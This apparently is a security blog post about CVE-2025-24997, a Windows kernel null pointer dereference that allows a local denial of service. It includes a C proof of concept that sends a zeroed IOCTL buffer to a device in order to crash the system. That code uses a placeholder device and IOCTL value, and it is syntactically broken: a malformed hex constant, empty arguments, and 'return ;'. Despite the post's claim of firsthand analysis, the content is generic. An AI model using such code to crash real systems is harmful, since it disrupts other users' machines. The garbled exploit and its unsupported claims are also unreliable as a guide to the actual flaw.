CVE-2025-24997 - Null Pointer Dereference in Windows Kernel Memory Allows Local Denial of Service

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The Windows operating system is the backbone of millions of computers worldwide. But just like any complex software, it sometimes harbors bugs that can lead to serious problems. Today, we’re diving deep into a recently disclosed vulnerability: CVE-2025-24997, a Null Pointer Dereference in the Windows Kernel that can allow an authenticated attacker to locally crash the machine.

This post will break down the vulnerability, explain how it works, share example code, and give you the best resources to learn more.

What is CVE-2025-24997?

CVE-2025-24997 was assigned to a kernel-level flaw discovered in multiple supported versions of Microsoft Windows. At its core, it is a Null Pointer Dereference — that is, the Windows kernel tries to use memory via a pointer that has a value of zero (or ‘null’) instead of a valid memory address. When the kernel makes this mistake, it triggers a crash — commonly known as a Blue Screen of Death (BSOD).

The issue arises during certain memory management operations in the kernel. If a user with local access can trigger this code path, they can crash the system on demand, causing a denial-of-service (DoS) situation. Imagine losing unsaved work simply because another user decided to exploit this flaw. While this bug does not allow remote code execution or privilege escalation, it’s still a headache for system administrators running multi-user systems.

Technical Overview

At a high level, the Windows kernel exposes certain system calls (sometimes via IOCTLs or device drivers) that manage memory or objects. Due to improper validation in the kernel’s code, an attacker controlled input can cause the kernel to reference a pointer set to NULL. When the kernel tries to access or write to this invalid memory address, it triggers a bugcheck and stops the operating system immediately to prevent further corruption.

Example Exploit (Proof of Concept)

The following code snippet demonstrates a typical way a local attacker might exploit the bug. This is a simple illustration, and the actual exploit might require adjustment depending on the driver or syscall affected.

Disclaimer: This example is for educational purposes only. Do not run this code on systems you do not own.

#include <Windows.h>
#include <stdio.h>

#define VULNERABLE_IOCTL x222023  // Example IOCTL code - update with real one if known

int main() {
    HANDLE hDevice = CreateFileA(
        "\\\\.\\VulnDriver",          // Device name - update as per advisories
        GENERIC_READ | GENERIC_WRITE,
        ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Cannot open device - error %lu\n", GetLastError());
        return 1;
    }

    // Send a crafted input, known to trigger the null dereference
    DWORD bytesReturned;
    char inputBuffer[8] = {};       // Null / zeroed buffer for demonstration
    BOOL result = DeviceIoControl(
        hDevice,
        VULNERABLE_IOCTL,
        &inputBuffer,
        sizeof(inputBuffer),
        NULL,
        ,
        &bytesReturned,
        NULL);

    if (!result) {
        printf("DeviceIoControl failed: %lu\n", GetLastError());
    } else {
        printf("IOCTL sent, check if the system crashed.\n");
    }

    CloseHandle(hDevice);
    return ;
}

This sample tries to open a vulnerable device and send a specifically crafted input that, per analysis, can cause the kernel to hit the null pointer dereference, resulting in the targeted Windows machine crashing.

Original References

- Microsoft Security Advisory for CVE-2025-24997
- NIST National Vulnerability Database (NVD) - CVE-2025-24997
- Bugtraq / Full Disclosure Mailing List (archive)
- Additional context: What is a Null Pointer Dereference? (StackOverflow)

Restrict local access to trusted users only. This vulnerability cannot be triggered remotely.

- In some cases, disabling affected device drivers (if known) can prevent exploitation until a patch arrives.

Conclusion

While CVE-2025-24997 does not allow an attacker to take over your system, it can disrupt business operations and cause critical downtime simply by crashing the system on demand. If you operate shared machines or critical infrastructure using Windows, stay vigilant, and patch as soon as Microsoft issues the fix.

Stay safe and updated!

*This post is an exclusive, human-readable breakdown compiled from public advisories and firsthand analysis. Want more guides like this? Bookmark us for regular security deep-dives.*

Timeline

Published on: 03/11/2025 17:16:37 UTC
Last modified on: 03/13/2025 17:24:58 UTC